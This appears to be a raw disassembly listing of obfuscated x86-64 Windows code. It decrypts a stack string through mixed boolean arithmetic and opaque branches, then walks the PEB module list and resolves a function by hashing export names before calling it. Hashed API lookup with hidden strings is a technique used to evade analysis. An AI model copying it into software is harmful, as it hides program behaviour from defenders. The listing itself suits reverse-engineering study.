ja 0x1400c17ea
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c0af3
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0xb
add r11b, dl
jmp 0x1400c0b33
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c15ea
inc rax
cmp r8, rax
je 0x1400c15be
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c159b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c1546
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1515
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400c1154
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c112c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c1100
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c10d7
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c10b2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c108a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c1067
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c1043
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c101e
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c0fe8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c0b40
lea r8, [r9 + 0x61]
lea r9, [r8 + 9]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c17c7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c17a4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c0d24
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c0d06
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c0ce8
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c0f87
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c0f2a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c0edd
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c0eb2
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c0b40
lea r8, [r9 + 3]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c0e7c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c0e59
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c0e35
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c0e0d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c0de5
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c0dc1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c0d98
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c0d67
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c0d42
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c0b40
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x64]
jmp 0x1400c0b40
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x55
add r11b, dl
jmp 0x1400c0b33
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x17
add r11b, dl
jmp 0x1400c0ac6
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x27
add r11b, dl
jmp 0x1400c0a51
mov ecx, 0x2c
movabs rdx, 0x62fd1c10a7a88918
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400c162a
mov ecx, 0xd
movabs rdx, 0x6af4004d68b5c46a
add rdx, rdi
movzx eax, bl
and al, dl
inc r9
sub cl, al
dec rdi
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400c0a42
movzx eax, bl
movabs rcx, 0x72eae48a29c2ffbc
add rcx, rdi
dec rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
inc rdi
jmp 0x1400c0a42
movabs rdx, 0x7ae1c8c6ead03b0e
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x62
jmp 0x1400c16a5
mov ecx, 0x30
movabs rdx, 0x82d8ad03abdd7660
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c16ea
mov ecx, 0x11
movabs rdx, 0x8acf91406ceab1b2
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c16ed
movabs rdx, 0x92c6757d2df7ed04
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x1c
jmp 0x1400c1565
movabs rcx, 0x9abd59b9ef052856
movzx eax, bl
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
jmp 0x1400c172c
movzx eax, bl
mov ecx, 0x34
movabs rdx, 0xa2b43df6b01263a8
add rdx, rdi
and al, dl
sub cl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400c0a42
movzx eax, bl
movabs rcx, 0xb69d788e92b377f5
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4d
mov byte [rsp + rdi + 0x70], r11b
inc rdi
jmp 0x1400c0a42
movabs rdx, 0xbe945ccb53c0b347
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0xf
add r11b, dl
cmp r9, 4
jb 0x1400c0ed0
movabs rcx, 0x69d087e58a5d2eaa
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x4c]
jmp 0x1400c162d
movabs rdx, 0xc68b410814cdee99
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, dl
cmp r8, 0x40
jae 0x1400c14c5
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400c13c8
movabs rdx, 0xb975724514e17fde
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x12
jmp 0x1400c0efc
movabs rdx, 0xce822544d5db29eb
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x6d
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 6
je 0x1400c14f1
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400c12a9
movabs rdx, 0xd15cec2ffec6ebb
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x1d
jmp 0x1400c0f49
movzx eax, bl
mov ecx, 0x21
movabs rdx, 0xa3dd50c7dbe66d2
add rdx, rdi
and al, dl
sub cl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400c0a42
mov ecx, 2
movabs rdx, 0x1234b9493ecba224
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400c1729
movabs rdx, 0x1a2b9d85ffd8dd76
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x3a
jmp 0x1400c1565
movzx eax, bl
movabs rcx, 0x222281c2c0e618c8
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
jmp 0x1400c16ed
mov ecx, 0x25
movabs rdx, 0x2a1965ff81f3541a
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c16ea
mov ecx, 6
movabs rdx, 0x32104a3c43008f6c
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400c16a5
movzx eax, bl
movabs rcx, 0x3a072e79040dcabe
add rcx, rdi
dec rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
inc rdi
jmp 0x1400c0a42
movzx eax, bl
movabs rcx, 0x41fe12b5c51b0610
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc rdi
jmp 0x1400c0a42
mov ecx, 0x29
movabs rdx, 0x49f4f6f286284162
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c162d
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c1178
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x61
jmp 0x1400c0fa6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c11b7
movzx eax, bl
mov ecx, 0xb
movabs rdx, 0x58bf470429ea2246
add rdx, rdi
and al, dl
sub cl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400c0a42
inc rax
cmp r8, rax
jne 0x1400c11e3
movabs rdx, 0x48d17e8aa7cfaba2
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x6e
jmp 0x1400c1565
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c1214
mov ecx, 7
movabs rdx, 0x38e3b61125b534fe
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c16ea
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c1245
mov ecx, 0x26
movabs rdx, 0x30ecd1d464a7f9ac
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c16a8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c1277
movzx eax, bl
movabs rcx, 0x28f5ed97a39abe5a
add rcx, rdi
dec rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
inc rdi
jmp 0x1400c0a42
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c0fa9
mov ecx, 3
movabs rdx, 0x1908251e218047b6
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400c162a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c12d5
movabs rcx, 0x51eea863edf3369
movzx eax, bl
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x21
jmp 0x1400c162d
inc rax
cmp r8, rax
jne 0x1400c1306
movzx eax, bl
movabs rcx, 0xf531220cbcc4bcc5
add rcx, rdi
dec rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x63
inc rdi
jmp 0x1400c0a42
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c1332
movzx eax, bl
movabs rcx, 0xe54359933aaa4621
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x19
jmp 0x1400c16ea
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c135e
movzx eax, bl
movabs rcx, 0xdd4c7556799d0acf
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x57
jmp 0x1400c16ed
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c138a
movabs rcx, 0xd5559119b88fcf7d
movzx eax, bl
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
jmp 0x1400c1568
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c0f4c
movzx eax, bl
movabs rcx, 0xc567c8a0367558d9
add rcx, rdi
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
add r11b, 0x11
inc rdi
jmp 0x1400c0a42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c1407
mov ecx, 0x16
movabs rdx, 0xb17e8e0853d4448c
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400c0a42
inc rax
cmp r8, rax
jne 0x1400c1432
movabs rcx, 0xa190c58ed1b9cde8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400c1568
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c145e
movabs rcx, 0x9999e15210ac9296
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x1400c16ed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c148f
mov ecx, 0x12
movabs rdx, 0x91a2fd154f9f5744
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c16ea
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c0eff
movabs rcx, 0x81b5349bcd84e0a0
add rcx, rdi
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc rdi
jmp 0x1400c0a42
movzx r11d, byte [rsp + rdi + 0x70]
movabs rdx, 0x61d9a3a8c94ff358
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
sub r11b, al
sub r11b, 0x68
add r11b, dl
add r11b, bl
jmp 0x1400c16a8
movabs rcx, 0x59e2bf6c0842b806
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rsp + rdi + 0x70]
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x1400c1568
movzx eax, bl
movabs rcx, 0x64b19d5f4b7dfb41
add rcx, rdi
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
add r11b, 0x39
inc rdi
jmp 0x1400c0a42
movabs rdx, 0x749f65d8cd9871e5
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x43
add r11b, dl
movzx eax, bl
inc r9
movabs rdx, 0x55e74d4da7bc1a5d
movzx ecx, bl
add rdx, rdi
and al, dl
add al, al
sub cl, al
add cl, 0x75
add cl, dl
movzx eax, cl
mov byte [rsp + rdi + 0x70], al
add rax, r9
sub rdi, rax
jmp 0x1400c172c
movzx eax, bl
movabs rcx, 0x848d2e524fb2e889
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x41
jmp 0x1400c16ea
movzx eax, bl
movabs rcx, 0x9c71db0892da9a7f
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x79
inc rdi
jmp 0x1400c0a42
movabs rdx, 0xa468bf4553e7d5d1
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x49
jmp 0x1400c162a
movabs rdx, 0xb45687bed6024c75
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x33
add r11b, dl
movzx eax, bl
movabs rcx, 0x65d515c729d69101
add rcx, rdi
inc r9
and al, cl
add al, al
sub bl, al
sub bl, 7
add bl, cl
mov byte [rsp + rdi + 0x70], bl
dec rdi
inc rdi
jmp 0x1400c0a42
movzx eax, bl
movabs rcx, 0xbc4d6bfb970f87c7
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x71
inc r9
dec rdi
inc rdi
jmp 0x1400c0a42
movabs rdx, 0xcc3b34751929fe6b
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x13
add r11b, dl
movzx eax, bl
movabs rcx, 0x5dde318a68c955af
add rcx, rdi
and al, cl
add al, al
sub bl, al
add bl, 0x37
add bl, cl
add bl, r11b
mov byte [rsp + rdi + 0x70], bl
jmp 0x1400c16ea
movzx eax, bl
movabs rcx, 0xd43218b1da3739bd
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0a42
movabs rdx, 0xec16c5681d5eebb3
movzx r11d, r10b
add rdx, rdi
mov rbx, r10
movzx eax, dl
and al, r10b
add al, al
sub r11b, al
add r11b, 0x1b
add r11b, dl
movzx eax, bl
inc r8
movabs rdx, 0x51ebdb2f47357cb4
mov ecx, 0xa
add rdx, rdi
and al, dl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rsp + rdi + 0x70], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0a42
movabs rcx, 0xf40da9a4de6c2705
movzx eax, r10b
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x23
movzx eax, byte [rsp + rdi + 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0a42
movzx eax, bl
movabs rcx, 0xee5db637da101733
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x65
jmp 0x1400c0a40
movzx eax, bl
movabs rcx, 0xf6549a749b1d5285
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5d
jmp 0x1400c0a30
lea rdi, [rbp + 0x14e11e4]
jmp 0x1400c1801
lea rdi, [rbp + 0x47743b]
jmp 0x1400c1801
lea rdi, [rsp + 0x70]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400c1895
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400c1895
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x730e96c6
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400c1890
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400c1870
cmp edx, 0x56ab55a8
je 0x1400c189a
test r9d, r9d
jne 0x1400c1850
mov rax, qword [rax]
jmp 0x1400c1820
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x38]
movabs rdi, 0x80819724203ebf11
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x6a], xmm0
mov dword [rbp + 0x60], 0xd7b0c1c4
movabs rsi, 0x8359c3d6bd0d090f
mov dword [rbp + 0x64], 0xd3ac9bd6
movabs r15, 0x80062bc4c495460d
mov word [rbp + 0x68], 0x4dd2
movabs r14, 0x834d6c4d33e27cf5
movabs r12, 0x834114c3aab7f0db
movabs r13, 0x400619778cb6c6e
nop dword [rax + rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor ebx, ebx
cmp rbx, 0x1a
jae 0x1400c2727
movzx r11d, byte [rbp + rbx + 0x60]
mov rdx, r11
cmp r8, rbx
ja 0x1400c271e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c196f
lea r10, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5b
add r10b, dl
jmp 0x1400c19b5
je 0x1400c269a
inc rax
cmp r8, rax
je 0x1400c2601
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c25ca
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c257b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c2550
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c24fb
cmp r9, rbx
ja 0x1400c2715
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c19e3
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x77
add r10b, dl
jmp 0x1400c1a23
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c24d9
inc rax
cmp r8, rax
je 0x1400c24ab
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2483
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c245e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c242b
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400c2054
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c202f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c1ffd
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c1fce
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1fa9
lea rcx, [r9 + 0x10]
cmp r8, rcx
je 0x1400c1f7d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c1f54
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c1f30
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1f0c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c1ed5
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c1a30
lea r9, [rcx + 0x61]
mov r8, rcx
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400c26f0
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400c26cb
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400c1c18
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400c1bfd
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400c1be2
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400c1e77
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400c1e1a
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400c1dcb
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400c1d9f
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400c1a30
lea r8, [r9 + 6]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c1d6d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c1d44
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c1d20
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c1cfc
lea rcx, [r9 + 0x20]
cmp r8, rcx
ja 0x1400c1cd0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c1ca7
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c1c7d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c1c59
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c1c33
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c1a30
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x1400c1a30
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x1400c1a23
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
jmp 0x1400c19b5
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
jmp 0x1400c1942
mov ecx, 0x24
movabs rdx, 0x40cb92101f5f888
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c251b
lea rcx, [rbx + r13]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
inc rbx
jmp 0x1400c1932
movabs rcx, 0x3f40a0defa0e054
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
inc rbx
jmp 0x1400c1932
mov ecx, 0x35
movabs rdx, 0x3e7b2846676543a
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c259e
mov ecx, 0x10
movabs rdx, 0x3db5afadd4bc820
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400c25e8
movabs rcx, 0x3cf037154213c06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x1400c25e8
movabs rcx, 0x3c2abe7caf6afec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x1400c2623
mov ecx, 0x21
movabs rdx, 0x3b6545e41cc23d2
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400c2653
movabs rcx, 0x3a9fcd4b8a197b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 8
inc rbx
jmp 0x1400c1932
movabs rcx, 0x838b21fce1b73977
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
mov byte [rbp + rbx + 0x60], r10b
inc rbx
jmp 0x1400c1932
movabs rcx, 0x837eca73588cad5d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
cmp r9, 0x28
jb 0x1400c1dbe
mov ecx, 0x1f
movabs rdx, 0x27570665379e92e
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400c251e
movabs rcx, 0x837272e9cf622143
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
cmp r8, 0x80
jae 0x1400c23d2
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400c229d
movabs rcx, 0x1fa0506f7d0702a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x1400c1dea
movabs rcx, 0x83661b6046379529
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400c23fd
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c21a8
movabs rcx, 0x81786de2d791b119
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
jmp 0x1400c1e39
mov ecx, 0x1b
movabs rdx, 0x3098ad8c1787a66
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400c1932
movabs rcx, 0x2fd334f384dee4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400c2653
movabs rcx, 0x2f0dbc5af236232
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
jmp 0x1400c2623
mov ecx, 0x2c
movabs rdx, 0x2e4843c25f8d618
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400c25e8
mov ecx, 7
movabs rdx, 0x2d82cb29cce49fe
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
jmp 0x1400c25e8
movabs rdx, 0x2cbd52913a3bde4
movzx r10d, r11b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3c
jmp 0x1400c259b
mov ecx, 0x3d
